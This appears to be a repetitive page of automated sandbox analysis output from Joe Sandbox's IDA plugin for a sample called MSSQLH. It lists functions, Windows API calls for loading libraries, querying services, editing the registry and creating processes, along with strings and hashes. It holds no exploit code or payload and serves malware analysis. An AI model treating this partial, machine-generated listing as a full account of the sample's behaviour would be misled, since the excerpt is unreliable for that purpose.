Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: 25d0e5a2ba02ec6e9d915112a453b25371e5ea1d84046ea1073e637b2558a5a6
Instruction ID: adac6053f5174eeaf67579166a63173716bcfd3a1452587458a74c7f70d9ef9a
Opcode Fuzzy Hash: 25d0e5a2ba02ec6e9d915112a453b25371e5ea1d84046ea1073e637b2558a5a6
Instruction Fuzzy Hash: 4C31B472A0012AABCF15AFE5ED49EFF7FB9EF05310F40412AF901A1112C7399911DBA9

Function 00413FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 113librarywindowloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00413FB2
LoadLibraryA.KERNEL32(?), ref: 00413FBF
wsprintfA.USER32 ref: 00413FD6
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 00413FEC

Part of subcall function 00411A50: ExitProcess.KERNEL32 ref: 00411A65

GetProcAddress.KERNEL32(00000000,00000040), ref: 00414081
wsprintfA.USER32 ref: 00414099
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 004140AF

Strings

DLL ERROR, xrefs: 00413FE5, 004140A8

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Messagewsprintf$AddressExitHandleLibraryLoadModuleProcProcess
String ID: DLL ERROR
API String ID: 1172160414-4092134112
Opcode ID: eea2187431db8045c127ddab6e885aa21ab31c98eb5e85c71557d9e034028dbd
Instruction ID: f2185486d17c76a0fa3bc71f6b14b0dcb7d4d69f339bd379656be98c67e67072
Opcode Fuzzy Hash: eea2187431db8045c127ddab6e885aa21ab31c98eb5e85c71557d9e034028dbd
Instruction Fuzzy Hash: 1D3128B26003015BC320DF65AC45BA77B98EB88705F04493EFF4693241EB79E959C7AE

Function 0041D3F0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,00418E7D,?,Microsoft Visual C++ Runtime Library,00012010,?,004276B0,?,00427700,?,?,?,Runtime Error!Program: ), ref: 0041D402
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041D41A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041D42B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0041D438

Strings

GetLastActivePopup, xrefs: 0041D42D
MessageBoxA, xrefs: 0041D414
GetActiveWindow, xrefs: 0041D425
user32.dll, xrefs: 0041D3FD

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 76a9199c7812b31531f65a9c4d4b28249e7aab117eca69594577a3722cdd0d9e
Instruction ID: 4dde80ecdfc9178d4ede90f7eed16153e14beea438e0446c71dfe61891bd5fcb
Opcode Fuzzy Hash: 76a9199c7812b31531f65a9c4d4b28249e7aab117eca69594577a3722cdd0d9e
Instruction Fuzzy Hash: 6401ACF27043116F97109FB59C80A6F7BD8DB48B91704443FB540C2621DAB8F981DB68

Function 00422920 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00000800,00000000,00000400,00422C1A,?,00020000), ref: 00422929
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 00422932
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00422946
#17.COMCTL32 ref: 00422961
#17.COMCTL32 ref: 0042297D
FreeLibrary.KERNEL32(00000000), ref: 00422989

Strings

COMCTL32.DLL, xrefs: 00422922, 00422928, 0042292F
InitCommonControlsEx, xrefs: 0042293E

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx
API String ID: 1437655972-4218389149
Opcode ID: 14c2f1d15a45ba7e0d03deda6d9d2b0f1358759f82c20278f652236ce5b66b55
Instruction ID: 1de75bc556667abe5705bdd908034af8ff1e44d41a0efaa939b292e6a64bc1d1
Opcode Fuzzy Hash: 14c2f1d15a45ba7e0d03deda6d9d2b0f1358759f82c20278f652236ce5b66b55
Instruction Fuzzy Hash: 1CF0CD727046336747219FA4BD48A1BB2A8BF94751BC60436F541E3311DB64DC06CB7E

Function 0040C1D8 Relevance: 13.7, APIs: 9, Instructions: 229servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040C23C
OpenServiceA.ADVAPI32(00000000,00000000,00000001), ref: 0040C27F
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040C2C6
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040C2F7
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040C330
RtlMoveMemory.KERNEL32(?,00000000,00000024), ref: 0040C371
CloseServiceHandle.ADVAPI32(00000000), ref: 0040C486
CloseServiceHandle.ADVAPI32(00000000), ref: 0040C4B2
GlobalFree.KERNEL32(00000000), ref: 0040C4DE

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManagerMemoryMove
String ID:
API String ID: 4257998133-0
Opcode ID: f66083124428f84bf98cde029d6b0c9ea566de1bef0ac3491023e03cef8a7d07
Instruction ID: 5cde4166d21dbde7bf7fb1ac2ee4a7396ddab20ac896c99c3986112f3eab0332
Opcode Fuzzy Hash: f66083124428f84bf98cde029d6b0c9ea566de1bef0ac3491023e03cef8a7d07
Instruction Fuzzy Hash: 2E812A70E40318EBEF119F91DC8ABEEBAB0FB09715F004126E615BA2D1D3795550CB6E

Function 0040C51E Relevance: 13.7, APIs: 9, Instructions: 218servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040C582
OpenServiceA.ADVAPI32(00000000,00000000,00000001), ref: 0040C5C5
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040C60C
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040C63D
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040C676
RtlMoveMemory.KERNEL32(?,00000000,00000024), ref: 0040C6B7
GlobalFree.KERNEL32(00000000), ref: 0040C725
CloseServiceHandle.ADVAPI32(00000000), ref: 0040C751
CloseServiceHandle.ADVAPI32(00000000), ref: 0040C77D

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManagerMemoryMove
String ID:
API String ID: 4257998133-0
Opcode ID: df03c8fe5cd5f812b04ddd36ec53b63b79ac7e0f8b342713063402af64826d9d
Instruction ID: 6b697daf029f170a128843da2475eb79cd369d94e4dd640ad6c2793ce376d66b
Opcode Fuzzy Hash: df03c8fe5cd5f812b04ddd36ec53b63b79ac7e0f8b342713063402af64826d9d
Instruction Fuzzy Hash: 65713070E40309EBEF11AFA0DC8ABEEB6B4AF09705F100526F614BB2D1D77A5550CB69

Function 0041C890 Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00427920,00000001,00000000,00000000,74DEE860,00483B84,?,?,?,004172C7,?,?,?,00000000), ref: 0041C8D2
LCMapStringA.KERNEL32(00000000,00000100,0042791C,00000001,00000000,00000000,?,?,004172C7,?,?,?,00000000,00000001), ref: 0041C8EE
LCMapStringA.KERNEL32(?,?,?,004172C7,?,?,74DEE860,00483B84,?,?,?,004172C7,?,?,?,00000000), ref: 0041C937
MultiByteToWideChar.KERNEL32(?,00483B85,?,004172C7,00000000,00000000,74DEE860,00483B84,?,?,?,004172C7,?,?,?,00000000), ref: 0041C96F
MultiByteToWideChar.KERNEL32(00000000,00000001,?,004172C7,?,00000000,?,?,004172C7,?), ref: 0041C9C7
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,004172C7,?), ref: 0041C9DD
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,004172C7,?), ref: 0041CA10
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,004172C7,?), ref: 0041CA78

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 864d3552c642aa39a0d8c54f917f7b4cd2b4e5afa1e1ca7e3c7d0c3d63758069
Instruction ID: a7e54d82a781c36a4ad67dffa79b6597c447d89e528c7fefe666fb1974c18067
Opcode Fuzzy Hash: 864d3552c642aa39a0d8c54f917f7b4cd2b4e5afa1e1ca7e3c7d0c3d63758069
Instruction Fuzzy Hash: FA515E71940249EBCF22CF54DC85AEF7FB9FF49790F10411AF914A1260D33A89A1DB69

Function 00418D59 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 00418DC6
GetStdHandle.KERNEL32(000000F4,004276B0,00000000,00000000,00000000,?), ref: 00418E9C
WriteFile.KERNEL32(00000000), ref: 00418EA3

Strings

Runtime Error!Program: , xrefs: 00418E2C
<program name unknown>, xrefs: 00418DD6
..., xrefs: 00418E18
Microsoft Visual C++ Runtime Library, xrefs: 00418E72

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 2c09ad38543ecd28069998d93fceacf8dd398d64a60a5a35078b7c2f7d028639
Instruction ID: 3346b5f144f6749fc7f8c48081d8ec02a00a081a6f2355584caea8422a2ef681
Opcode Fuzzy Hash: 2c09ad38543ecd28069998d93fceacf8dd398d64a60a5a35078b7c2f7d028639
Instruction Fuzzy Hash: 9831C872A40218AEDF20A760EC86FDE336CEF45704F54046BF545D6190EA78EDC58B5E

Function 00405427 Relevance: 12.3, APIs: 8, Instructions: 330registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(00000000,00000000,00000000,00000101,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00405507
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00405564
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004055F0
RegCloseKey.ADVAPI32(00000000,00000000), ref: 00405624

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 6eb50a2b1903efdc5cb3dfce08a8a00c28261b21007e8161fb53eec2cd9705a1
Instruction ID: 6e6a832d2338bead707009e52350d6534f00253288dee252c0fa2f9897d02df7
Opcode Fuzzy Hash: 6eb50a2b1903efdc5cb3dfce08a8a00c28261b21007e8161fb53eec2cd9705a1
Instruction Fuzzy Hash: 04B14171E40309ABEF10EFA4DC86BEFB7B8EF18301F14042AF614B6291D77995509B69

Function 0040AABA Relevance: 12.2, APIs: 8, Instructions: 210servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040AB01
OpenServiceA.ADVAPI32(00000000,00000000,80000000), ref: 0040AB44
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040AB8B
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040ABBC
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040ABF5
GlobalFree.KERNEL32(00000000), ref: 0040AD1A
CloseServiceHandle.ADVAPI32(00000000), ref: 0040AD46
CloseServiceHandle.ADVAPI32(00000000), ref: 0040AD72

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManager
String ID:
API String ID: 1798664345-0
Opcode ID: 20140e4acafc43d9746e62d44fc90540ddcce941e1e8f166f690eb7bafe6b58a
Instruction ID: 2a2f6f7b1137ceb91a2536d098ad58bbb67dd1423128754ca4f829ba59e0bc3c
Opcode Fuzzy Hash: 20140e4acafc43d9746e62d44fc90540ddcce941e1e8f166f690eb7bafe6b58a
Instruction Fuzzy Hash: 56718770E40309BBEB209FA1DC4ABAEB671EF05701F10403AF6147A2D1D2BD5660DF9A

Function 0041F576 Relevance: 12.1, APIs: 8, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 0041F596
lstrcmpA.KERNEL32(?,?), ref: 0041F5A2
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 0041F5B4
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0041F5D7
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0041F5DF
GlobalLock.KERNEL32(00000000), ref: 0041F5EC
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 0041F5F9
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 0041F617

Part of subcall function 004232F0: GlobalFlags.KERNEL32(?), ref: 004232FA
Part of subcall function 004232F0: GlobalUnlock.KERNEL32(?), ref: 00423311
Part of subcall function 004232F0: GlobalFree.KERNEL32(?), ref: 0042331C

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 5f3ab85725995a384c42e94677902b6a83c98eee640b97bf8614b4d0ba6a3723
Instruction ID: 04c9cd76f510a300cb46befed483deb6d26bf6847bfb90925f10a5be77013277
Opcode Fuzzy Hash: 5f3ab85725995a384c42e94677902b6a83c98eee640b97bf8614b4d0ba6a3723
Instruction Fuzzy Hash: B8117371200104BADB216FB6DC46EEF7ABDEF85744F44042EFA09C2122DB799D929778

Function 004187E4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00418842
GetFileType.KERNEL32(?,?,00000000), ref: 004188ED
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 00418950
GetFileType.KERNEL32(00000000,?,00000000), ref: 0041895E
SetHandleCount.KERNEL32 ref: 00418995

Strings

KH, xrefs: 0041887C

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: FileHandleType$CountInfoStartup
String ID: KH
API String ID: 1710529072-2411449328
Opcode ID: 4b593b7a1707bca2be2c5e2a528c96be7ebcfe321fb58bfcd55f3b3ea4e3ed67
Instruction ID: b916e311239f0ec8c3194d54e12568a69ecea2cc428fa3af1a3400b3bf51af33
Opcode Fuzzy Hash: 4b593b7a1707bca2be2c5e2a528c96be7ebcfe321fb58bfcd55f3b3ea4e3ed67
Instruction Fuzzy Hash: 3B514971A142168FC720DF28D8847BA77E0FB41368F29466EC492CB2E1DF38D986C759

Function 00415450 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathA.SHELL32(00000000,00000000,?,00000000), ref: 004154DB
GetWindowsDirectoryA.KERNEL32(00000000,00000104), ref: 004154FA
GetSystemDirectoryA.KERNEL32(00000000,00000104), ref: 00415511
GetTempPathA.KERNEL32(00000104,00000000), ref: 00415528

Strings

\, xrefs: 0041554E
\, xrefs: 00415555

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: DirectoryPath$FolderSpecialSystemTempWindows
String ID: \$\
API String ID: 2721284240-164819647
Opcode ID: bdef6372793d0fe80f2be930547210d8731bebe52f0f1fa119af75824f9b92f2
Instruction ID: f8c93b0e535b62ec9a3979196ac62e4d80f8c6fee2b13aca627c229f8f48b9d0
Opcode Fuzzy Hash: bdef6372793d0fe80f2be930547210d8731bebe52f0f1fa119af75824f9b92f2
Instruction Fuzzy Hash: 9831E8B0604A41EBEB30C624C9417FB3692D7E1715F64492FF586C6281E67CC8C1975B

Function 00424BAD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 00424BDB
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 00424BFE
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 00424C1D
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00424C2D
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00424C37

Strings

software, xrefs: 00424BC5

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: c5bb875294e1e715878203c8452054db950ea0f1b3d5f4507d43c7fd5a5b59ee
Instruction ID: 5ac374848c72801e488aab15a60b06fc43b831d721c99f00fa730f2a488051f5
Opcode Fuzzy Hash: c5bb875294e1e715878203c8452054db950ea0f1b3d5f4507d43c7fd5a5b59ee
Instruction Fuzzy Hash: E7112872A01128FBCB21CB9ADC84DEFFFBCEFC9740F5100AAA605A2121D3705A40DB64

Function 004125A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65processsynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 004125B2
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?), ref: 00412631
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0041264A
CloseHandle.KERNEL32(?), ref: 0041265B
CloseHandle.KERNEL32(?), ref: 00412662

Strings

D, xrefs: 004125AA

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateInfoObjectProcessSingleStartupWait
String ID: D
API String ID: 2246201701-2746444292
Opcode ID: cb265e03f40c1ef95291dc2c5f7a30b1a796b99486b86e255c4ae49d247aaa7a
